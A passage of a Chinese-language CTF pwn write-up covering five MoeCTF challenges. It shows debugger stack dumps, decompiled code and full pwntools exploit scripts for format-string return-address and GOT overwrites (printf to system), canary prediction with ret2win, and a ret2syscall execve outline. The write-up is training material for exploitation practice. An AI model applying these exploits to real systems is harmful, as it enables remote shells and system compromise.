00:0000│ rsp 0x7ffea6500670 —▸ 0x7ffea65007b8 —▸ 0x7ffea650069f ◂— 0x100 01:0008│-008 0x7ffea6500678 ◂— 0x80040136f 02:0010│ rbp 0x7ffea6500680 —▸ 0x7ffea65006a0 ◂— 1 03:0018│+008 0x7ffea6500688 —▸ 0x4013b1 (main+66) ◂— add dword ptr [rbp - 4], 1 04:0020│+010 0x7ffea6500690 ◂— 0x1000 05:0028│+018 0x7ffea6500698 ◂— 0x200401110 06:0030│+020 0x7ffea65006a0 ◂— 1 07:0038│+028 0x7ffea65006a8 —▸ 0x7913ed829d90 ◂— mov edi, eax 08:0040│+030 0x7ffea65006b0 ◂— 0 09:0048│+038 0x7ffea65006b8 —▸ 0x40136f (main) ◂— endbr64 0a:0050│+040 0x7ffea65006c0 ◂— 0x1a65007a0 0b:0058│+048 0x7ffea65006c8 —▸ 0x7ffea65007b8 —▸ 0x7ffea650069f ◂— 0x100 0c:0060│+050 0x7ffea65006d0 ◂— 0 0d:0068│+058 0x7ffea65006d8 ◂— 0x6d26ff8a1914566c 0e:0070│+060 0x7ffea65006e0 —▸ 0x7ffea65007b8 —▸ 0x7ffea650069f ◂— 0x100 0f:0078│+068 0x7ffea65006e8 —▸ 0x40136f (main) ◂— endbr64 10:0080│+070 0x7ffea65006f0 —▸ 0x403e00 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4011c0 (__do_global_dtors_aux) ◂— endbr64 11:0088│+078 0x7ffea65006f8 —▸ 0x7913edace040 (_rtld_global) —▸ 0x7913edacf2e0 ◂— 0 12:0090│+080 0x7ffea6500700 ◂— 0x92dbb32a1476566c 13:0098│+088 0x7ffea6500708 ◂— 0x9f01248f239e566c 14:00a0│+090 0x7ffea6500710 ◂— 0x791300000000 15:00a8│+098 0x7ffea6500718 ◂— 0 ... ↓ 3 skipped 19:00c8│+0b8 0x7ffea6500738 ◂— 0xb0add8007ab87600 1a:00d0│+0c0 0x7ffea6500740 ◂— 0 1b:00d8│+0c8 0x7ffea6500748 —▸ 0x7913ed829e40 (__libc_start_main+128) ◂— mov r15, qword ptr [rip + 0x1f0159] 1c:00e0│+0d0 0x7ffea6500750 —▸ 0x7ffea65007c8 —▸ 0x7ffea6502a14 ◂— 'SHELL=/bin/bash' 1d:00e8│+0d8 0x7ffea6500758 —▸ 0x403e00 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4011c0 (__do_global_dtors_aux) ◂— endbr64 1e:00f0│+0e0 0x7ffea6500760 —▸ 0x7913edacf2e0 ◂— 0 1f:00f8│+0e8 0x7ffea6500768 ◂— 0 20:0100│+0f0 0x7ffea6500770 ◂— 0 21:0108│+0f8 0x7ffea6500778 —▸ 0x401110 (_start) ◂— endbr64 22:0110│+100 0x7ffea6500780 —▸ 0x7ffea65007b0 ◂— 1 23:0118│+108 0x7ffea6500788 ◂— 0 24:0120│+110 0x7ffea6500790 ◂— 0 25:0128│+118 0x7ffea6500798 —▸ 0x401135 (_start+37) ◂— hlt 26:0130│+120 0x7ffea65007a0 —▸ 0x7ffea65007a8 ◂— 0x1c 27:0138│+128 0x7ffea65007a8 ◂— 0x1c 28:0140│+130 0x7ffea65007b0 ◂— 1 29:0148│ r12 0x7ffea65007b8 —▸ 0x7ffea650069f ◂— 0x100 2a:0150│+140 0x7ffea65007c0 ◂— 0 2b:0158│+148 0x7ffea65007c8 —▸ 0x7ffea6502a14 ◂— 'SHELL=/bin/bash' 2c:0160│+150 0x7ffea65007d0 —▸ 0x7ffea6502a24 ◂— 'COLORTERM=truecolor'
关键的变化是
0b:0058│+048 0x7ffea65006c8 —▸ 0x7ffea65007b8 —▸ 0x7ffea65029ee ◂— '/home/ubuntu/Moectf/fmt_s/pwn_patched'
0b:0058│+048 0x7ffea65006c8 —▸ 0x7ffea65007b8 —▸ 0x7ffea650069f ◂— 0x100
此时0x7ffea650069f指向的恰好是i的最高位地址05:0028│+018 0x7ffea6500698 ◂— 0x200401110
第三次printf前
00:0000│ rsp 0x7ffea6500670 —▸ 0x7ffea65007b8 —▸ 0x7ffea650069f ◂— 0x100 01:0008│-008 0x7ffea6500678 ◂— 0x80040136f 02:0010│ rbp 0x7ffea6500680 —▸ 0x7ffea65006a0 ◂— 1 03:0018│+008 0x7ffea6500688 —▸ 0x4013b1 (main+66) ◂— add dword ptr [rbp - 4], 1 04:0020│+010 0x7ffea6500690 ◂— 0x1000 05:0028│+018 0x7ffea6500698 ◂— 0x300401110 06:0030│+020 0x7ffea65006a0 ◂— 1 07:0038│+028 0x7ffea65006a8 —▸ 0x7913ed829d90 ◂— mov edi, eax 08:0040│+030 0x7ffea65006b0 ◂— 0 09:0048│+038 0x7ffea65006b8 —▸ 0x40136f (main) ◂— endbr64 0a:0050│+040 0x7ffea65006c0 ◂— 0x1a65007a0 0b:0058│+048 0x7ffea65006c8 —▸ 0x7ffea65007b8 —▸ 0x7ffea650069f ◂— 0x100 0c:0060│+050 0x7ffea65006d0 ◂— 0 0d:0068│+058 0x7ffea65006d8 ◂— 0x6d26ff8a1914566c 0e:0070│+060 0x7ffea65006e0 —▸ 0x7ffea65007b8 —▸ 0x7ffea650069f ◂— 0x100 0f:0078│+068 0x7ffea65006e8 —▸ 0x40136f (main) ◂— endbr64 10:0080│+070 0x7ffea65006f0 —▸ 0x403e00 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4011c0 (__do_global_dtors_aux) ◂— endbr64 11:0088│+078 0x7ffea65006f8 —▸ 0x7913edace040 (_rtld_global) —▸ 0x7913edacf2e0 ◂— 0 12:0090│+080 0x7ffea6500700 ◂— 0x92dbb32a1476566c 13:0098│+088 0x7ffea6500708 ◂— 0x9f01248f239e566c 14:00a0│+090 0x7ffea6500710 ◂— 0x791300000000 15:00a8│+098 0x7ffea6500718 ◂— 0 ... ↓ 3 skipped 19:00c8│+0b8 0x7ffea6500738 ◂— 0xb0add8007ab87600 1a:00d0│+0c0 0x7ffea6500740 ◂— 0 1b:00d8│+0c8 0x7ffea6500748 —▸ 0x7913ed829e40 (__libc_start_main+128) ◂— mov r15, qword ptr [rip + 0x1f0159] 1c:00e0│+0d0 0x7ffea6500750 —▸ 0x7ffea65007c8 —▸ 0x7ffea6502a14 ◂— 'SHELL=/bin/bash' 1d:00e8│+0d8 0x7ffea6500758 —▸ 0x403e00 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4011c0 (__do_global_dtors_aux) ◂— endbr64 1e:00f0│+0e0 0x7ffea6500760 —▸ 0x7913edacf2e0 ◂— 0 1f:00f8│+0e8 0x7ffea6500768 ◂— 0 20:0100│+0f0 0x7ffea6500770 ◂— 0 21:0108│+0f8 0x7ffea6500778 —▸ 0x401110 (_start) ◂— endbr64 22:0110│+100 0x7ffea6500780 —▸ 0x7ffea65007b0 ◂— 1 23:0118│+108 0x7ffea6500788 ◂— 0 24:0120│+110 0x7ffea6500790 ◂— 0 25:0128│+118 0x7ffea6500798 —▸ 0x401135 (_start+37) ◂— hlt 26:0130│+120 0x7ffea65007a0 —▸ 0x7ffea65007a8 ◂— 0x1c 27:0138│+128 0x7ffea65007a8 ◂— 0x1c 28:0140│+130 0x7ffea65007b0 ◂— 1 29:0148│ r12 0x7ffea65007b8 —▸ 0x7ffea650069f ◂— 0x100 2a:0150│+140 0x7ffea65007c0 ◂— 0 2b:0158│+148 0x7ffea65007c8 —▸ 0x7ffea6502a14 ◂— 'SHELL=/bin/bash' 2c:0160│+150 0x7ffea65007d0 —▸ 0x7ffea6502a24 ◂— 'COLORTERM=truecolor'
printf后
00:0000│ rsp 0x7ffea6500670 —▸ 0x7ffea65007b8 —▸ 0x7ffea650069f ◂— 0x1ff 01:0008│-008 0x7ffea6500678 ◂— 0x80040136f 02:0010│ rbp 0x7ffea6500680 —▸ 0x7ffea65006a0 ◂— 1 03:0018│+008 0x7ffea6500688 —▸ 0x4013b1 (main+66) ◂— add dword ptr [rbp - 4], 1 04:0020│+010 0x7ffea6500690 ◂— 0x1000 05:0028│+018 0x7ffea6500698 ◂— 0xff00000300401110 06:0030│+020 0x7ffea65006a0 ◂— 1 07:0038│+028 0x7ffea65006a8 —▸ 0x7913ed829d90 ◂— mov edi, eax 08:0040│+030 0x7ffea65006b0 ◂— 0 09:0048│+038 0x7ffea65006b8 —▸ 0x40136f (main) ◂— endbr64 0a:0050│+040 0x7ffea65006c0 ◂— 0x1a65007a0 0b:0058│+048 0x7ffea65006c8 —▸ 0x7ffea65007b8 —▸ 0x7ffea650069f ◂— 0x1ff 0c:0060│+050 0x7ffea65006d0 ◂— 0 0d:0068│+058 0x7ffea65006d8 ◂— 0x6d26ff8a1914566c 0e:0070│+060 0x7ffea65006e0 —▸ 0x7ffea65007b8 —▸ 0x7ffea650069f ◂— 0x1ff 0f:0078│+068 0x7ffea65006e8 —▸ 0x40136f (main) ◂— endbr64 10:0080│+070 0x7ffea65006f0 —▸ 0x403e00 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4011c0 (__do_global_dtors_aux) ◂— endbr64 11:0088│+078 0x7ffea65006f8 —▸ 0x7913edace040 (_rtld_global) —▸ 0x7913edacf2e0 ◂— 0 12:0090│+080 0x7ffea6500700 ◂— 0x92dbb32a1476566c 13:0098│+088 0x7ffea6500708 ◂— 0x9f01248f239e566c 14:00a0│+090 0x7ffea6500710 ◂— 0x791300000000 15:00a8│+098 0x7ffea6500718 ◂— 0 ... ↓ 3 skipped 19:00c8│+0b8 0x7ffea6500738 ◂— 0xb0add8007ab87600 1a:00d0│+0c0 0x7ffea6500740 ◂— 0 1b:00d8│+0c8 0x7ffea6500748 —▸ 0x7913ed829e40 (__libc_start_main+128) ◂— mov r15, qword ptr [rip + 0x1f0159] 1c:00e0│+0d0 0x7ffea6500750 —▸ 0x7ffea65007c8 —▸ 0x7ffea6502a14 ◂— 'SHELL=/bin/bash' 1d:00e8│+0d8 0x7ffea6500758 —▸ 0x403e00 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4011c0 (__do_global_dtors_aux) ◂— endbr64 1e:00f0│+0e0 0x7ffea6500760 —▸ 0x7913edacf2e0 ◂— 0 1f:00f8│+0e8 0x7ffea6500768 ◂— 0 20:0100│+0f0 0x7ffea6500770 ◂— 0 21:0108│+0f8 0x7ffea6500778 —▸ 0x401110 (_start) ◂— endbr64 22:0110│+100 0x7ffea6500780 —▸ 0x7ffea65007b0 ◂— 1 23:0118│+108 0x7ffea6500788 ◂— 0 24:0120│+110 0x7ffea6500790 ◂— 0 25:0128│+118 0x7ffea6500798 —▸ 0x401135 (_start+37) ◂— hlt 26:0130│+120 0x7ffea65007a0 —▸ 0x7ffea65007a8 ◂— 0x1c 27:0138│+128 0x7ffea65007a8 ◂— 0x1c 28:0140│+130 0x7ffea65007b0 ◂— 1 29:0148│ r12 0x7ffea65007b8 —▸ 0x7ffea650069f ◂— 0x1ff 2a:0150│+140 0x7ffea65007c0 ◂— 0 2b:0158│+148 0x7ffea65007c8 —▸ 0x7ffea6502a14 ◂— 'SHELL=/bin/bash' 2c:0160│+150 0x7ffea65007d0 —▸ 0x7ffea6502a24 ◂— 'COLORTERM=truecolor'
我们利用的是0b:0058│+048 0x7ffea65006c8 —▸ 0x7ffea65007b8 —▸ 0x7ffea650069f ◂— 0x100
找到第二个指针29:0148│ r12 0x7ffea65007b8 —▸ 0x7ffea650069f ◂— 0x100
偏移量是47,我们就可以利用这个来修改我们i的最高位了
关键的变化是
05:0028│+018 0x7ffea6500698 ◂— 0x300401110
05:0028│+018 0x7ffea6500698 ◂— 0xff00000300401110
可以看到我们已经实现了无限写
下面的修改也是一模一样,就不再赘述了
p = start() p.recvuntil(b"You start talking to him...\n" ) payload1=b'A' *8 +b"%33$p" +b"%13$p" +b"%8$p" p.send(payload1) data = p.recv(50 ) addrs = data[8 :].decode() addr1_str = addrs[2 :14 ] addr2_str = addrs[16 :28 ] addr3_str = addrs[30 :42 ] libc_main_addr = int (addr1_str, 16 ) return_addr = int (addr2_str, 16 ) rbp_addr = int (addr3_str, 16 )-0x20 log.success(f"libc_main_addr: {hex (libc_main_addr)} " ) log.success(f"return_addr: {hex (return_addr)} " ) log.success(f"rbp_addr: {hex (rbp_addr)} " ) libc_base=libc_main_addr-128 -libc.sym["__libc_start_main" ] log.success(f"libc_base_addr: {hex (libc_base)} " ) one_gadget_addr=libc_base+0xebc81 log.success(f"one_gadget_addr: {hex (one_gadget_addr)} " ) p.recvuntil(b"You enraged the monster-prepare for battle!\n" ) p.send(b"fffffff0" ) one_gadget_1 = one_gadget_addr & 0xffff one_gadget_2 = (one_gadget_addr >> 16 )& 0xffff one_gadget_3 = (one_gadget_addr >> 32 )& 0xffff main_ret_addr=(rbp_addr+0x28 )& 0xffff main_ret_addr_2=(rbp_addr+0x28 +2 )& 0xffff main_ret_addr_3=(rbp_addr+0x28 +4 )& 0xffff main_rbp_addr=(rbp_addr+0x20 )& 0xffff main_rbp_addr_2=(rbp_addr+0x20 +2 )& 0xffff main_rbp_addr_3=(rbp_addr+0x20 +4 )& 0xffff talk_ret_addr=(rbp_addr+0x8 )&0xffff r_addr=rbp_addr+0x110 r_addr_1=r_addr & 0xffff r_addr_2=(r_addr >> 16 )& 0xffff r_addr_3=(r_addr >> 32 )& 0xffff i_addr=(rbp_addr+0x18 +7 )& 0xffff p.recvuntil(b"You start talking to him...\n" ) payload2=b"%" + str (i_addr).encode("utf-8" ) + b"c%17$hn\x00" p.send(payload2) p.recvuntil(b"You enraged the monster-prepare for battle!\n" ) p.send(b"fffffff0" ) p.recvuntil(b"You start talking to him...\n" ) payload3=b"%" + str (0xff ).encode("utf-8" ) + b"c%47$hhn" p.send(payload3) p.recvuntil(b"You enraged the monster-prepare for battle!\n" ) p.send(b"fffffff0" ) p.recvuntil(b"You start talking to him...\n" ) payload4=b"%" + str (main_ret_addr).encode("utf-8" ) + b"c%20$hn\x00" p.send(payload4) p.recvuntil(b"You enraged the monster-prepare for battle!\n" ) p.send(b"fffffff0" ) p.recvuntil(b"You start talking to him...\n" ) payload5=b"%" + str (one_gadget_1).encode("utf-8" ) + b"c%47$hn" p.send(payload5) p.recvuntil(b"You enraged the monster-prepare for battle!\n" ) p.send(b"fffffff0" ) p.recvuntil(b"You start talking to him...\n" ) payload6=b"%" + str (main_ret_addr_2).encode("utf-8" ) + b"c%20$hn\x00" p.send(payload6) p.recvuntil(b"You enraged the monster-prepare for battle!\n" ) p.send(b"fffffff0" ) p.recvuntil(b"You start talking to him...\n" ) payload7=b"%" + str (one_gadget_2).encode("utf-8" ) + b"c%47$hn" p.send(payload7) p.recvuntil(b"You enraged the monster-prepare for battle!\n" ) p.send(b"fffffff0" ) p.recvuntil(b"You start talking to him...\n" ) payload8=b"%" + str (main_ret_addr_3).encode("utf-8" ) + b"c%20$hn\x00" p.send(payload8) p.recvuntil(b"You enraged the monster-prepare for battle!\n" ) p.send(b"fffffff0" ) p.recvuntil(b"You start talking to him...\n" ) payload9=b"%" + str (one_gadget_3).encode("utf-8" ) + b"c%47$hn" p.send(payload9) p.recvuntil(b"You enraged the monster-prepare for battle!\n" ) p.send(b"fffffff0" ) p.recvuntil(b"You start talking to him...\n" ) payload10=b"%" + str (main_rbp_addr).encode("utf-8" ) + b"c%20$hn\x00" p.send(payload10) p.recvuntil(b"You enraged the monster-prepare for battle!\n" ) p.send(b"fffffff0" ) p.recvuntil(b"You start talking to him...\n" ) payload11=b"%" + str (r_addr_1).encode("utf-8" ) + b"c%47$hn" p.send(payload11) p.recvuntil(b"You enraged the monster-prepare for battle!\n" ) p.send(b"fffffff0" ) p.recvuntil(b"You start talking to him...\n" ) payload12=b"%" + str (main_rbp_addr_2).encode("utf-8" ) + b"c%20$hn\x00" p.send(payload12) p.recvuntil(b"You enraged the monster-prepare for battle!\n" ) p.send(b"fffffff0" ) p.recvuntil(b"You start talking to him...\n" ) payload13=b"%" + str (r_addr_2).encode("utf-8" ) + b"c%47$hn" p.send(payload13) p.recvuntil(b"You enraged the monster-prepare for battle!\n" ) p.send(b"fffffff0" ) p.recvuntil(b"You start talking to him...\n" ) payload14=b"%" + str (main_rbp_addr_3).encode("utf-8" ) + b"c%20$hn\x00" p.send(payload14) p.recvuntil(b"You enraged the monster-prepare for battle!\n" ) p.send(b"fffffff0" ) p.recvuntil(b"You start talking to him...\n" ) payload15=b"%" + str (r_addr_3).encode("utf-8" ) + b"c%47$hn" p.send(payload15) p.recvuntil(b"You enraged the monster-prepare for battle!\n" ) p.send(b"fffffff0" ) p.recvuntil(b"You start talking to him...\n" ) payload16=b"%" + str (talk_ret_addr).encode("utf-8" ) + b"c%20$hn\x00" p.send(payload16) p.recvuntil(b"You enraged the monster-prepare for battle!\n" ) p.send(b"fffffff0" ) p.recvuntil(b"You start talking to him...\n" ) payload17=b"%" + str (0xed ).encode("utf-8" ) + b"c%47$hhn" p.send(payload17) p.recvuntil(b"You enraged the monster-prepare for battle!\n" ) p.send(b"1" ) p.interactive()
fmt_t
int __fastcall main (int argc, const char **argv, const char **envp) { char s[24 ]; unsigned __int64 v5; v5 = __readfsqword(0x28u ); init(argc, argv, envp); fgets(s, 6 , stdin ); printf (s); puts ("Anyone who uses format strings should be punished!\nGo to hell!" ); hell(5LL ); return 0 ; }
unsigned __int64 __fastcall hell (int n) { char s[88 ]; unsigned __int64 v3; v3 = __readfsqword(0x28u ); printf ("You've reached the level %d of hell.\n" , n); if ( n <= 30 ) { fgets(s, n, stdin ); hell((unsigned int )(n + 11 )); if ( (unsigned int )pd(s, n) ) printf (s); } else { puts ("You've been swallowed by hell." ); } return v3 - __readfsqword(0x28u ); }
__int64 __fastcall pd (__int64 a1, unsigned __int64 i_1) { unsigned __int64 i; for ( i = 0LL ; i < i_1; ++i ) { if ( *(_BYTE *)(a1 + i) == 37 ) return 1LL ; } return 0LL ; }
我们可以从第一个格式化字符串漏洞得到libc基址,发现一个嵌套函数,还有一个pd函数判断是否含”%“
第一次只能输入4个有效字符,有什么用呢?
[*] '/home/ubuntu/Moectf/fmt_t/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No
got表可写,假如我在第一次输入时写入sh,将printf改为system,就可以实现劫持,要调用printf要一个%,所以可以写入sh;%
参照fmt_s,我们应该先写入地址,再进行修改,这道题利用格式化字符串漏洞的机会最多3次,因此考虑利用一次将所以内容修改
因此我们在第二次输入时将printf的got表地址在栈上布置好
00:0000│ rsp 0x7ffe6d8e2760 ◂— 0x16d8e2998 01:0008│-068 0x7ffe6d8e2768 ◂— 0x1000000000 02:0010│ rax 0x7ffe6d8e2770 —▸ 0x40401a (printf @got[plt]+2) ◂— 0xf38000007ea41506 03:0018│-058 0x7ffe6d8e2778 —▸ 0x404018 (printf @got[plt]) —▸ 0x7ea4150606f0 (printf ) ◂— endbr64 04:0020│-050 0x7ffe6d8e2780 —▸ 0x7ea41521aaa0 (_IO_2_1_stdin_) ◂— 0xfbad208b 05:0028│-048 0x7ffe6d8e2788 —▸ 0x7ffe6d8e27f0 ◂— 0x7e00253b6873 /* 'sh;%' */ 06:0030│-040 0x7ffe6d8e2790 ◂— 0
在第三次利用布置好的地址进行修改
00:0000│ rsp 0x7ffe6d8e26e0 ◂— 0x16d8e2998 01:0008│-068 0x7ffe6d8e26e8 ◂— 0x1b00000000 02:0010│ rax 0x7ffe6d8e26f0 ◂— '%3440c%25$hn%1941c%24$hn' 03:0018│-058 0x7ffe6d8e26f8 ◂— '5$hn%1941c%24$hn' 04:0020│-050 0x7ffe6d8e2700 ◂— '1c%24$hn' 05:0028│-048 0x7ffe6d8e2708 ◂— 0x7ffe6d000000 06:0030│-040 0x7ffe6d8e2710 ◂— 0 07:0038│-038 0x7ffe6d8e2718 —▸ 0x403e00 (__do_global_dtors_aux_fini_array_entry) —▸ 0x401180 (__do_global_dtors_aux) ◂— endbr64 08:0040│-030 0x7ffe6d8e2720 —▸ 0x7ea415360040 (_rtld_global) —▸ 0x7ea4153612e0 ◂— 0 09:0048│-028 0x7ffe6d8e2728 —▸ 0x7ea41507f410 (fgets+144) ◂— mov edx, dword ptr [rbp] 0a:0050│-020 0x7ffe6d8e2730 ◂— 0 0b:0058│-018 0x7ffe6d8e2738 —▸ 0x7ffe6d8e27d0 —▸ 0x7ffe6d8e2850 —▸ 0x7ffe6d8e2880 ◂— 1 0c:0060│-010 0x7ffe6d8e2740 —▸ 0x7ffe6d8e2998 —▸ 0x7ffe6d8e39ee ◂— '/home/ubuntu/Moectf/fmt_t/pwn_patched' 0d:0068│-008 0x7ffe6d8e2748 ◂— 0x37d295624a871a00 0e:0070│ rbp 0x7ffe6d8e2750 —▸ 0x7ffe6d8e27d0 —▸ 0x7ffe6d8e2850 —▸ 0x7ffe6d8e2880 ◂— 1 0f:0078│+008 0x7ffe6d8e2758 —▸ 0x4012b9 (hell+115) ◂— mov eax, dword ptr [rbp - 0x64] 10:0080│+010 0x7ffe6d8e2760 ◂— 0x16d8e2998 11:0088│+018 0x7ffe6d8e2768 ◂— 0x1000000000 12:0090│+020 0x7ffe6d8e2770 —▸ 0x40401a (printf @got[plt]+2) ◂— 0xf38000007ea41506 13:0098│+028 0x7ffe6d8e2778 —▸ 0x404018 (printf @got[plt]) —▸ 0x7ea4150606f0 (printf ) ◂— endbr64 14:00a0│+030 0x7ffe6d8e2780 —▸ 0x7ea41521aaa0 (_IO_2_1_stdin_) ◂— 0xfbad208b 15:00a8│+038 0x7ffe6d8e2788 —▸ 0x7ffe6d8e27f0 ◂— 0x7e00253b6873 /* 'sh;%' */ 16:00b0│+040 0x7ffe6d8e2790 ◂— 0
GOT protection: Partial RELRO | Found 5 GOT entries passing the filter [0x404000] puts@GLIBC_2.2.5 -> 0x7ea415080e50 (puts) ◂— endbr64 [0x404008] __stack_chk_fail@GLIBC_2.4 -> 0x401040 ◂— endbr64 [0x404010] setbuf@GLIBC_2.2.5 -> 0x7ea415087fe0 (setbuf) ◂— endbr64 [0x404018] printf @GLIBC_2.2.5 -> 0x7ea4150606f0 (printf ) ◂— endbr64 [0x404020] fgets@GLIBC_2.2.5 -> 0x7ea41507f380 (fgets) ◂— endbr64
修改后
GOT protection: Partial RELRO | Found 5 GOT entries passing the filter [0x404000] puts@GLIBC_2.2.5 -> 0x7ea415080e50 (puts) ◂— endbr64 [0x404008] __stack_chk_fail@GLIBC_2.4 -> 0x401040 ◂— endbr64 [0x404010] setbuf@GLIBC_2.2.5 -> 0x7ea415087fe0 (setbuf) ◂— endbr64 [0x404018] printf @GLIBC_2.2.5 -> 0x7ea415050d70 (system) ◂— endbr64 [0x404020] fgets@GLIBC_2.2.5 -> 0x7ea41507f380 (fgets) ◂— endbr64
p = start() p.send(b"%31$p" ) p.recvuntil(b"0x" ) data=p.recv(12 ) libc_main_addr=int (data,16 ) libc_base_addr=libc_main_addr-libc.sym["__libc_start_main" ]-128 system_addr=libc_base_addr+libc.sym["system" ] log.success(f"system_addr: {hex (system_addr)} " ) log.success(f"libc_base_addr: {hex (libc_base_addr)} " ) system_1 = system_addr & 0xffff system_2 = (system_addr >> 16 )& 0xffff system_3=(system_2-system_1)& 0xffff got_addr=elf.got['printf' ] got_1 = got_addr & 0xffff got_2 = (got_addr >> 16 )& 0xffff p.recvuntil(b"of hell.\n" ) payload1=b"sh;%" p.send(payload1) p.recvuntil(b"of hell.\n" ) payload2=p64(got_addr+2 )+p32(got_addr) p.send(payload2.ljust(15 ,b"\x00" )) p.recvuntil(b"of hell.\n" ) payload4=b"%" + str (system_1).encode("utf-8" ) + b"c%25$hn" +b"%" + str (system_3).encode("utf-8" ) + b"c%24$hn" p.send(payload4.ljust(27 ,b'\x00' )) p.interactive()
boom & boom_revenge
int __fastcall main (int argc, const char **argv, const char **envp) { char s[124 ]; int canary; int v6; init(argc, argv, envp); puts ("Welcome to Secret Message Book!" ); puts ("Do you want to brute-force this system? (y/n)" ); fgets(&brute_choice, 8 , stdin ); v6 = 0 ; if ( brute_choice == 121 || brute_choice == 89 ) { v6 = 1 ; canary = (int )random() % 114514 ; canary = canary; puts ("waiting..." ); sleep(1u ); puts ("boom!" ); puts ("Brute-force mode enabled! Security on." ); } else { puts ("Normal mode. No overflow allowed." ); } printf ("Enter your message: " ); if ( v6 ) gets(s); else fgets(s, 128 , stdin ); if ( v6 && canary != canary ) { puts ("Security check failed!" ); exit (1 ); } puts ("Message received." ); return 0 ; }
.text:0000000000401276 win proc near .text:0000000000401276 ; __unwind { .text:0000000000401276 endbr64 .text:000000000040127 A push rbp .text:000000000040127B mov rbp, rsp .text:000000000040127 E lea rax, command ; "/bin/sh" .text:0000000000401285 mov rdi, rax ; command .text:0000000000401288 call _system .text:000000000040128 D nop .text:000000000040128 E pop rbp .text:000000000040128F retn .text:000000000040128F ; } .text:000000000040128F win endp
下面是boom_revenge的
int __fastcall main (int argc, const char **argv, const char **envp) { char s[124 ]; int canary; int v6; init(argc, argv, envp); puts ("Welcome to Secret Message Book!" ); puts ("Do you want to brute-force this system? (y/n)" ); fgets(&brute_choice, 8 , stdin ); v6 = 0 ; if ( brute_choice == 121 || brute_choice == 89 ) { v6 = 1 ; canary = (int )random() % 114514 ; canary = canary; puts ("waiting..." ); sleep(1u ); puts ("boom!" ); puts ("Brute-force mode enabled! Security on." ); } else { puts ("Normal mode. No overflow allowed." ); } printf ("Enter your message: " ); if ( v6 ) { gets(s); if ( canary != canary ) { puts ("Security check failed!" ); exit (1 ); } } else { fgets(s, 128 , stdin ); } puts ("Message received." ); return 0 ; }
后门函数也存在
区别就在
#boom if ( v6 ) gets(s); else fgets(s, 128 , stdin ); if ( v6 && canary != canary ){ puts ("Security check failed!" ); exit (1 ); } puts ("Message received." );
#boom_revenge if ( v6 ) { gets(s); if ( canary != canary ){ puts ("Security check failed!" ); exit (1 ); } } else { fgets(s, 128 , stdin ); } puts ("Message received." );
要实现溢出,就要使用gets(s),就要v6=1
在boom中我们直接可以将v6覆盖为零,并且覆盖返回地址,这样就不会触发exit
在boom_revenge中我们无法利用boom的方法,就直接利用随机数生成canary通过检验并且覆盖返回地址就行了
只展示boom_revenge的方法,boom使用这个也可以过
p = start() p.recvuntil(b"Do you want to brute-force this system? (y/n)\n" ) p.send(b"y\n" ); elf1=ctypes.CDLL("/lib/x86_64-linux-gnu/libc.so.6" ) elf1.srand(elf1.time(0 )) canary = elf1.rand()%114514 print (f"生成的 canary 值: {hex (canary)} ,{canary} " )p.recvuntil(b"Enter your message: " ) payload=b'A' *0x7C +p32(canary)+b'0' *12 +p32(1 )+p64(0x40127E )*2 p.sendline(payload) p.interactive()
randomlock
int __fastcall main (int argc, const char **argv, const char **envp) { int v4; int i; int v6; unsigned __int64 v7; v7 = __readfsqword(0x28u ); init(argc, argv, envp); initseed(); srand(seed); puts ("My lock looks strange—can you help me?" ); for ( i = 1 ; i <= 10 ; ++i ) { printf ("password %d\n>" , i); v6 = rand() % 10000 ; __isoc99_scanf("%d" , &v4); if ( v6 != v4 ) lose(); } win(); return 0 ; }
unsigned __int64 win () { FILE *stream; char s[264 ]; unsigned __int64 v3; v3 = __readfsqword(0x28u ); puts ("It opened—how did you do that?" ); stream = fopen("./flag" , "r" ); fgets(s, 100 , stream); puts (s); return v3 - __readfsqword(0x28u ); }
void __noreturn lose () { puts ("Incorrect password." ); exit (0 ); }
模仿即可
#include <stdio.h> #include <stdlib.h> int seed;int main (int argc, const char **argv, const char **envp) { int v4; int i; int v6; unsigned int v7; srand(seed); puts ("My lock looks strange—can you help me?" ); for ( int i = 1 ; i <= 10 ; ++i ){ printf ("password %2d >" , i); v6 = rand() % 10000 ; printf (" %d\n" ,v6); } return 0 ; }
My lock looks strange—can you help me? password 1 > 9383 password 2 > 886 password 3 > 2777 password 4 > 6915 password 5 > 7793 password 6 > 8335 password 7 > 5386 password 8 > 492 password 9 > 6649 password 10 > 1421
ubuntu@LAPTOP-RA1SUD0S:~/Moectf/randomlock$ ./pwn My lock looks strange—can you help me? password 1 >9383 password 2 >886 password 3 >2777 password 4 >6915 password 5 >7793 password 6 >8335 password 7 >5386 password 8 >492 password 9 >6649 password 10 >1421 It opened—how did you do that? hello pwner flag is accessable
syslock
int __fastcall main (int argc, const char **argv, const char **envp) { init(argc, argv, envp); write(1 , "My lock looks strange—can you help me?\n" , 0x29u LL); write(1 , "choose mode\n" , 0xCu LL); i = input(); if ( i > 4 ) lose(); write(1 , "Input your password\n" , 0x14u LL); read(0 , (char *)&s + i, 0xCu LL); if ( i != 59 ) lose(); cheat(); return 0 ; }
ssize_t cheat () { _BYTE buf[64 ]; write(1 , "Developer Mode.\n" , 0x10u LL); return read(0 , buf, 0x100u LL); }
.bss:0000000000404080 i dd ? ; DATA XREF: main+4E↑w .bss:0000000000404080 ; main+54↑r ... .bss:0000000000404084 align 20h .bss:00000000004040A0 public s .bss:00000000004040A0 s db ? ; ; DATA XREF: main+8A↑o .bss:00000000004040A1 db ? ; .bss:00000000004040A2 db ? ; ... .bss:00000000004040EE db ? ; .bss:00000000004040EF db ? ; .bss:00000000004040EF _bss ends
i<=4和i=59不可能同时达到,显然是在read(0, (char *)&s + i, 0xCuLL);这里修改,s与i差0x20,也就是32
没有后门函数,要想用system和/bin/sh,此时只能写在栈上,获得/bin/sh00的地址就有点不现实,要是能写在bss段上就好了
于是我们利用ret2text使函数回到第二次写入bss段的地址,此时i还是0x3b,可以通过检查
于是我们将/bin/sh00写入,
第二次写入时利用gadget将rax改为0x3b,此时syscall就会实现execve
将rsi、rdx设为0,此时syscall就会实现system
在利用gadget将/bin/sh00弹入rdi,这样就可以实现system(“/bin/sh”)
